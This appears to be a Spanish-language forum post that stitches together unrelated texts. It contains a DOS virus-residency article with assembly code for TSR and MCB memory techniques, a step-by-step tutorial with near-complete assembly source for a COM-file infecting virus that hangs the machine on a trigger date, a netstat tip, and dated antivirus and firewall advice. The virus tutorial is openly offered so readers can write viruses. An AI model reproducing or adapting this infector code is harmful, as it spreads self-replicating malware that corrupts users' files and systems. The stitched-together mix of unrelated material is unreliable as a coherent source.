razor0911
Usuario (Colombia)
- INSTALACION DE UN VIRUS EN LA MEMORIA DEL ORDENADOR - ------------------------------------------------------------------------------- Este artículo intenta explicar los métodos mas usados de residencia, con un enfoque mas práctico que teórico, dejando en claro lo fundamental para poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de técnicas descritos, que pueden (en el caso del MCB) usarse directamente en sus propios virus. La teoría no esta muy detallada, pero se encontrará todo lo necesario para que el novato comprenda y pueda usar estos métodos. Y con la información del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico necesario (espero...). Empezemos: Los métodos más usados para dejar a un virus residente son: los que el DOS proporciona o el método de MCB (Memory Control Block). La primera forma es la más simple, pero también la mas ineficaz, primero porque le informa al DOS que se esta dejando algo residente... además al ejecutarse esa función retorna el control al DOS. El programa que se intente ejecutar termina!. El virus que use esta técnica para evitar salir al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su vez, le da el control al programa padre, al que se cargo primero, y este puede entonces terminar, ejecutando al anfitrión. Si esto no se hiciera, al ejecutar una int 21, por ejemplo, se le cedería el control al interprete de comandos... Una de las característica de los virus que usan esta técnica es que suelen colocarse al principio de los archivos, estos servicios dejaran residente la cantidad de parrafeo que se les indique desde el comienzo del programa en memoria... Si tenemos un COM de 50K y el virus al final, al usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaria seria el primer K del COM, no el virus que esta al final.... Es evidente que no pondemos dejar 50k residentes... para que el virus quede en memoria se puede relocar(mover), a otro bloque, tranferirle el control, y luego este le cederá el control al programa padre... Para evitar esto, muchos se colocan al principio del programa que infectan. Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo después del virus, lo que no pasa si va al final, en ese caso solo hay que escribir el virus, no el virus y el archivo!. Este método es poco elegante, ademas de lento si se infecta dejando el virus al comienzo, entre otras cosas... Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal para ilustrar su funcionamiento. Este ejemplo intercepta la int. 21 y luego le pasa el control sin hacer nada. Se le puede agregar el código para hacer lo que se quiera. =============================================================================== =============================================================================== code segment assume cs:code,ds:code org 100h start: jmp instalar ;Salta a la rutina de ;instalacion. ;En esta variable va la direccion original de la int 21h. old_21 dd 2 new_21: ;Aca va la rutina que se cuelga de la interrupcion 21h. jmp cs:[old_21] ;Salta a la int original. instalar: ;Obtengo el vector original de la int 21 mov ax, 3521h int 21h mov word ptr old_21, bx mov word ptr old_21+2, es ;Seteo el nuevo vector de la int 21 mov ax,2521h push cs pop ds mov dx, offset new_21 int 21h ;Queda residente mov ah, 31h mov dx, 30d ;ß-- Cantidad de parrafeo(16 bytes) a dejar int 21h ; residentes. code ends end star El segundo método es el de MCB, este es un poco mas complejo que simplemente llamar a al int 27h,pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes, un parrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo, en cs - 1, esta la dirección de este bloque. En el offset 3 del mismo esta la cantidad de memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla (servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el offset 1, para que el dos piense que es parte suya y no use esa memoria. En ese offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque es el que usa el DOS. El código que sigue muestra como se hace... Este code sirve para dejar un virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS.;Paso a AX el Code Segment, lo decremento y paso a ES, para obtener; la memoria reservada por el programa anfitrión (ES:[3]), que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;Resto a la memoria usada por el anfitrión la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. ;Paso el resultado de la operacion anterior a BX, para después llamar al ;servicio de liberar memoria, que se llama com BX, con el nuevo tamaño y con ;el asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah,4ah int 21h ;Asigno la memoria liberada a mi virus, el segmento de la memoria asignada ;queda en AX. Decremento BX porque un parrafo lo va a usar el DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX, Y lo paso a ES, de esa forma apunto al parrafo que usa el DOS ;como control, marco ese parrfo en El offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilize esa zona de memoria. ;Después incremento AX otra vez y lo paso a ES, para que ES quede apuntando ;a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg Del virus Ahora lo que queda es mover el virus al segmento reservado, esto es cuestión de hacer un rep movsb al segmento al que apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma, la alarma de residencia del TB salta cuando detecta la actualizacion de la int 21h o 13h. Fé de Ratas.. - mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;**** ;El problema de esto, es que en ningún momento se aclara que tenemos que decla_ ;rar el tamaño del virus un poco mas grande, exactamente un parrafo mas largo. ;Esto por qué ? Y bueno, en el momento en que tenemos que restarle un parrafo a ;la memoria que queremos reservar (esto lo haciamos para dar lugar a que se ;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus ;también.. osea que la última parte del virus no entraría en la memoria reser_ ;vada.. Puede ser que no traiga problemas por ser un rea de datos o algo por ;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;-) ;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad de ;parrafos del virus o si lo declaran en su programa con un : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO)/16)+1 ; ; declarar el incremento directamente ahi, para no gastar bytes ni clocks : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;**** sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ; Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg. del virus ... ;blah blah blah y sigue el código ...DTM - Dead to Minotauro BBS silly Troyan installer.
para todos los curiosos que siempr quisieron crear virus...aqui les tengo los pasos... Empezaremos por contaminar archivos com, ¿que qué diferencia hay entre archivos com y exe? pues fácil, si os habéis fijado los archivos com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque los com se cargan en un único segmento de memoria. Y no me vengáis diciendo que el command.com del windows 95 tiene más porque aunque tiene extensión com es un archivo exe (es un exe camuflado je,je,je ) Los exe's utilizan un cabezera con información acerca del tamaño del archivo,la posición inicial para empezar a ejecutar el file la posición del stack y demás choradas necesárias para cargarlo en varios segmentos de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca? ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los tenían que marcar. Bueno la verdad es que lo que realmente diferencia un exe de un com es esa marca , la extensión simplemente sirve para que el DOS sepa que ejecutar primero com->exe->bat. El virus que vamos a hacer no será residente por lo que es bastante sencillo .Contamina en un único directorio por lo que además de ser sencillo tendrá una infección practicamente patética. Pero bueno es pa ke entendáis el rollo este de los com. La contaminación de los com's se puede hacer añadiendo el código del virus al principio del hoste(programa infectado) pero no es recomendable por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros bytes del archivo (guardarlos en el código del virus) poner en su lugar un jmp virus (es decir un salto incodicional al código del virus, que lo añadimos al final del hoste).Cuando acaba la ejecución del virus los 3 bytes que habías guardado los restauramos al principio del virus y le pasamos el control al hoste. Facil noooo??? ----------------- | jmp virus | ----------------- | codigo del | | hoste | ----------------- | virus: | | contamina | | recupera los | | 3 bytes | | originales y | | jmp hoste | ----------------- Ahora que sabemos la teoría , tenemos que buscar una manera de marcar los archivos para no volverlos a contaminar infinitas veces. Como vamos a tener que poner un jmp al principio del hoste , pues este propio jmp funcioná de marca de infección. El virus infectará a los archivos que no empiecen con un jmp.El código del jmp ocupa 1 byte y la dirección a saltar con un byte ocupa 2 bytes 1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste) Otra cosa. Al programar un virus lo que se hace normalmente es crear un archivo contaminado, en este caso nuestro hoste contaminado contendrá un jmp start (salto al principio del virus) y la int 20h para regresar al dos. longitud equ fin-start code segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100 ya que es un com hoste: jmp start ;esto es un hoste simulado int 20h ;con esto salgo al DOS start: push bp call alli ; busco la ip de inicio alli: pop bp ; para que la variables no sub bp,offset alli ; aparezcan corridas :-) Con esto lo que hacemos es definir la constante longitud como la diferencia entre dos etiquetas que hemos puesto al principio y al final del virus(obviamente) con lo que el linkador nos traducirá longitud como el tamaño del virus. El org 100h es para que el programa se carge en el offset 100h, los com's siempre se cargan en el offset 100h ya que tienen que dejar 100h bytes para que el DOS guarde información sobre el programa esos 100h bytes forman lo que se llama el PSP. En el hoste meto un jmp start con lo que este archivo estará ya marcado como infectado. Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué un call? ¿acaso los call no són para llamar a procedimientos? ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret para regresar del procedimiento tampoco la veo? Respuesta: No es una llamada a un procedimiento. Es simplemente una pirula para que se puedan direccionar las variables. ¿quéeee?. Si bueno no sé si si os habéis dado cuenta que el virus se añade al final del hoste con lo que en cada hoste las variables se encontrarán en diferente offset (el offset es una dirección dentro de un segmento , y un segmento es un bloque de memoria de 65536 bytes) Las referencias a variables ( como mov ax,variable) el linkador las traduce a un numero (mov ax,056f2h por ejemplo) Por esto es por lo que hay que inventarse una pirula para hallar el verdadero offset de las variables( en busca del offset perdido). Ahora bien que os parece si sumamos a cada referencia a variable el incremento del tamaño del hoste respecto al hoste ficticio que hemos creado,que lo podríamos tener almacenado en un registro como el bp (que no es muy usado). Ahora las referencias a variables quedarían así: mov ax,bp+variable No está mal el invento pero ¿cómo coño hallamos ese incremento que sufre el offset?.Ahora es cuando utilizamos las maravillosas cualidades del comando call.El comando call no sólo salta al comienzo del procedimiento sinó que apila la dirección de regreso para que luego utilizando la instrucción ret se pueda regresar a la posición desde la que fué llamada.Pero bueno, que preciosidad de comando ,pues yo ahora hago un call findoffset y en vez de enviar el control a un procedimiento utilizo el comando pop para desapilar la dirección apilada con el call. Pero la cosa no se queda ahí, ahora le resto a esa direccion (almacenada en bp) el offset de la etiqueta findoffset ahora acabamos de obtener el desplazamiento que sufriran las variables. NOTA:Las intrucciónes offset algo el linkador las traduce por un número por lo que en cada archivo infectado 'offset findoffset' siempre será el mismo número. el offset de la etiqueta findoffset del archivo que vamos a crear. Si te fijas en el archivo que vamos a obtener el bp tomará el valor 0 esto es correcto ya que en el archivo original no se produce ningun desplazamiento,respecto a su propio tamaño ; ). push cs push cs pop ds pop es push ax push bx push cx ; APILO LOS REGISTROS push dx push di push si Con esto ds y es se quedan con el valor de cs ya que trabajamos en un único segmento. Además apilo los registros para que no se modifique su valor. Ahora viene un punto muy importante en este virus es recuperar los 3 bytes originales.Esto lo hacemos antes de la contaminación ya que la variable cab_ORIG la sobreescribiremos en el proceso de infección. cld mov cx,3d ;en cx el numero de bytes a mover mov di,100h ;muevo de ds:si ->es:di lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h rep movsb Ten en cuenta que sobreescribo estos 3 bytes en memoria el archivo contaminado siempre tendra tu jmp START. ************* Quien quiera pasar de esto que lo haga ******* ************* es la activación del virus ******* Se activa el 19 de Febrero mi Cumpleaños (que original). mov ah, 02h int 21h cmp dh, 2d ;compruebo si el mes es 2 jne noactivo cmp dl, 19d ;compruebo si el dia es 19 jne noactivo mov ax,0900h ;aparece el mensaje en pantalla lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo int 21h hlt ;cuelgo el ordenata noactivo: ************* Final de la activaci¢n ************************* mov ah,4eh ; lea dx,bp+file_cont ; mov cx,00000000b ; BUSQUEDA DEL ARCHIVO int 21h ; con esto busco archivos que cumplan que tienen extensión com *.com . en ds:dx esta la dirección de la cadena '*.com' en ah la llamada a la función de busqueda y en cx los atributos. Es recomendable trabajar con una buena lista de interrupciones yo recomiendo personalmente la lista de Ralf Brown yo diría que sin duda es la mejor . Si la han quitado la podréis conseguir de la página de Cicatrix. Ojo a que ponemos bp+file_cont en vez de file_cont a secas. otro: mov ah,4fh int 21h jb salir ;salto si no quedan más archivos ;con extensión com mov ax, 3d00h ;abro el archivo para lectura mov dx, 009eh int 21h mov bx,ax ;guardo el handel Al encontrar un archivo con extensión com lo abro para ver si está contaminado. Ten en cuenta que la información obtenida con la funcion 4fh de la interrupción 21 (busqueda de archivo) se guarda en el DTA(disk transfer area) que forma parte del PSP (que son los 100 bytes iniciales del segmento donde se ejecuta el com). El DTA empieza en el offset 80h y tiene la siguiente estructura: offset Bytes ocupados Funci¢n 00h 21d Usado por el dos para la función 4f (buscar proximo) 15h 01d Atributos del file encontrado 16h 02d Hora del archivo 18h 02d Fecha del file 1Ah 04d Tamaño del archivo en bytes 1Eh 13d Nombre del archivo Ahora que sabemos esto para abrir un archivo encontrado con las funciones 4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el DTA se encuentra en el offset 80h, la dirección real será 80h+1Eh= 9Eh. mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov cx,3h ;longitud a copiar lea dx,[bp+cab_Orig] ;direccion donde se copiara mov ah,3fh ;funcion de lectura int 21h En la variable cab_ORIG los 3 primeros byte del archivo . Esto es para comprobar si está infectado y si lo está de paso ya tengo los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas alturas ya hemos recuperado en memoria los 3 bytes originales del file). mov ah ,3eh ;cierro el archivo int 21h cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp je otro ;no lo contamina y busca otro Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es igual a 0E9h que es el código de la intrucción jmp. Si es igual probablemente esté contaminado por lo que buscamos otro mov ax, 3d02h ;abro el archivo para r/w mov dx, 009eh int 21h mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable mov bx,ax ; guardo en bx el handle del archivo Fijate bien que todas las referencias a variables se realizan sumando bp. mov cx, 2h mov si,009Ah lea di,[bp+cabecera+1] rep movsb Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos con el nombre del archivo sub word ptr [bp+cabecera+1],3 Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 bytes) ya que el salto comienza realmente desde la siguiente instrucción. mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov ah,40h ;escribo los nuevos 3 bytes mov cx,3h ;que tendrá el archivo lea dx,bp+cabacera int 21h Que conste que la variable cabecera la ten¡a preparada con un E9h en el primer bytes(jmp) mirar la definición de variables del final Por ello lo único que he tenido que hacer es completarla metiendo la dirección hallada. mov ax,4202h ;muevo el puntero al final mov cx,0000h mov dx,0000h int 21h mov ah,40h mov cx,longitud ;en cx el número de bytes a copiar lea dx,bp+start ;pues la longitud del archivo int 21h ;que va a ser mov ah ,3eh ;cierro el archivo int 21h Completamos la infección cerrando el archivo salir: pop si ; pop di ; pop dx ; DESAPILO LOS REGISTROS pop cx ; pop bx ; pop ax ; pop bp ; mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO jmp ax Para salir desapilamos los registros guardados y con un simple jmp al offset 100h el hoste emp siganme para saber estar al dia con estos curso!!!! ycomenten por favor...
Conocer que proceso está usando o bloqueando un puerto TCP en Windows XP El comando NETSTAT está presente en todas las versiones de Windows y nos permite conocer todas las conexiones entratantes y salientes que está realizando nuestro PC en Internet. En las versiones más modernas de este Sistema Operativo, es decir, Windows XP se le ha añadido el argumento -o, el cual permite mostrar el Identificador de Proceso (PID) con cada conexión . Para determinar que puerto tiene un proceso en escucha debemos el comando NETSTAT tal como indicamos: netstat -ano Para determinar al proceso que está bloqueando o usando algún puerto TCP de nuestra máquina debemos seguir estos pasos: - Pulsamos las teclas CTRL+ALT+SUPR, se abre una ventana y dentro de esta pulsamos el botón "Administrador de Tareas" - Dentro de la ventana "Administrador de Tareas de Windows" seleccionamos la pestaña "Procesos" - Si la columna donde se muestra el Identificador de Proceso (PID) no aparece debemos activarla dentro del menu Ver, Seleccionar Columnas y marcamos la casilla PID (Identificador de Proceso) - Hacemos clic sobre la columna PID de forma que la lista de procesos se ordenará por el número de PID de cada uno de ellos
¡Medidas de Seguridad!1.) Ante todo, ármate de un buen antivirus ACTUALIZADO. En estos momentos la mayoría de ellos son muy buenos: Panda, Mcafee, Norton, etc.Pero si de dinero se trata y no tienes los 40 o más dólares para adquirirlo, te sugiero, por ejemplo, instalar el Pc-cillín 98 que generalmente viene con tu equipo, o con la Mother Board, o con algún componente que hayas comprado hace un tiempo. Instálalo y actualízalo. ¡Es fácil actualizarlo! Abre el rayito azul que está al pie del reloj de la ventana de Windows, haz clic en el botón “Main”, después en el botón “Update” (al lado izquierdo de la ventana), y después en actualizar por INTERNET. Si tienes conexión a Internet, el programa actualizará tu Pc-cillín en forma automática en unos 3 o 4 minutos, dependiendo de la velocidad de tu máquina. Luego te seguirá saliendo semanalmente (generalmente los martes) una ventana que te pregunta si quieres actualizar la nueva versión (cada semana se adicionan todos los virus nuevos). Dile que sí, pues no te tomará más de 3 o 4 minutos y estarás siempre protegido.Este antivirus, y también los otros, si están actualizados, detectan prácticamente todos los virus actuales y hasta los mortíferos Troyanos Back Oriffice, BO2000 (ó BO2k), NetBus, que son las herramientas de intromisión (¡intrusos!) más populares en la actualidad.¡Si no actualizas tu antivirus, no debes entrar a ningún sitio Hacker, ni bajar de el ninguna utilidad o programa!2.) Instala en tu máquina (así la llamamos nosotros) una utilidad de DETECCIÓN DE INTRUSOS. En la carpeta de UTILIDADES encontrarás una denominada OPTOUT2000, que es Freeware (gratuita), de la firma Gibson Research Corp. (www.grc.com). Esta utilidad no dejará que te instalen en el registro de tu sistema operativo ningún Troyano, espía, o programa furtivo. Paséate por esta página y lee el extenso artículo de Gibson sobre cómo diariamente los navegantes son atacados, intervenidos e infectados por las mismas EMPRESAS MULTINACIONALES dedicadas a los productos informáticos. ¿Sabías, por ejemplo, que si bajas algún programa de REAL NETWORK (los de Real Player, Flash, en fin), NetZip o por medio de Netscape download, automáticamente te están instalando en el registro de tu MÁQUINA un programa espía? Pues bien, Gibson lo sostiene y lo sustenta con pruebas muy sólidas. ¡Léelo! 3.) Instala igualmente el IP AGENT, que también se encuentra en la carpeta de UTILIDADES. Es de la misma firma. Esta utilidad te mostrará cuál es el número de tu IP (que identifica tu máquina cuando estás navegando), y te da la maravillosa opción, muy segura por cierto, de que en la página de Gibson te hagan un diagnóstico de seguridad de tu máquina, de tus puertos, y te digan cuáles son tus debilidades que permiten el ATAQUE de intrusos (cuando estás navegando). Si este diagnóstico te señala que tienes un puerto o varios abiertos a los Hackers de la Web, acude a la LISTA DE PUERTOS que está en la carpeta de UTILIDADES y podrás determinar cuál es.4.) Te recomiendo otro DETECTOR DE INTRUSOS, pero este si no es freeware, sino demo por 30 días. Es el JAMMER.EXE (1.59 Mb). No está en nuestra carpeta de UTILIDADES, pero puedes bajarlo de la página www.agnitum.com Es fantástico. Cuando estás navegando y si recibes un ATAQUE externo, te previene inmediatamente y te dice desde cual IP te están atacando. Entonces, puedes identificar al atacante, pedirle explicaciones....¡o demandarlo!5.) ¿Sabes cuál es el IP de tu máquina cuando estás navegando? Averígualo así: Inicio....Ejecutar....c:windowswinipcfg.exe Te dirá entonces el nombre de tu máquina, tu Identificación IP cuando navegas y otras cositas importantes.6.) Instala un “Firewall” (muro de fuego) en tu máquina. Claro... ¡gratuito!. Esto es urgente y sumamente importante. Diariamente, mientras navegas, estás siendo escaneado por infinidad de personas y empresas de todo el mundo, para determinar por cual puerto pueden penetrar tu sistema. El muro de fuego te avisará inmediatamente que ha repelido un escaneo de tu máquina, te dará información para identificar el intruso, y también te pedirá confirmación cuando algún programa intente cambiar tu registro o conectarse con Internet. Por ejemplo, si tu antivirus se va a actualizar automáticamente, por ejemplo Pc-cillin, te saldrá una ventana preguntándote si autorizas que “Iomon” (el de Pc-cillin) acceda a Internet. Te sugiero instalar el mejor “Firewall” del momento para PC (y es gratuito): Zone Alarm 2.1.44 Conéctate con la página www.zonelabs.com y en la página de inicio, parte izquierda, encontrarás la frase “FREE DOWNLOAD”. Haz clic en “Download Zone Alarm now¡”. Bajarás un archivo Zip de 1.61 Mb que te permitirá instalar esta magnífica protección. “Black Hacker” Ediciones Hacker-Colombia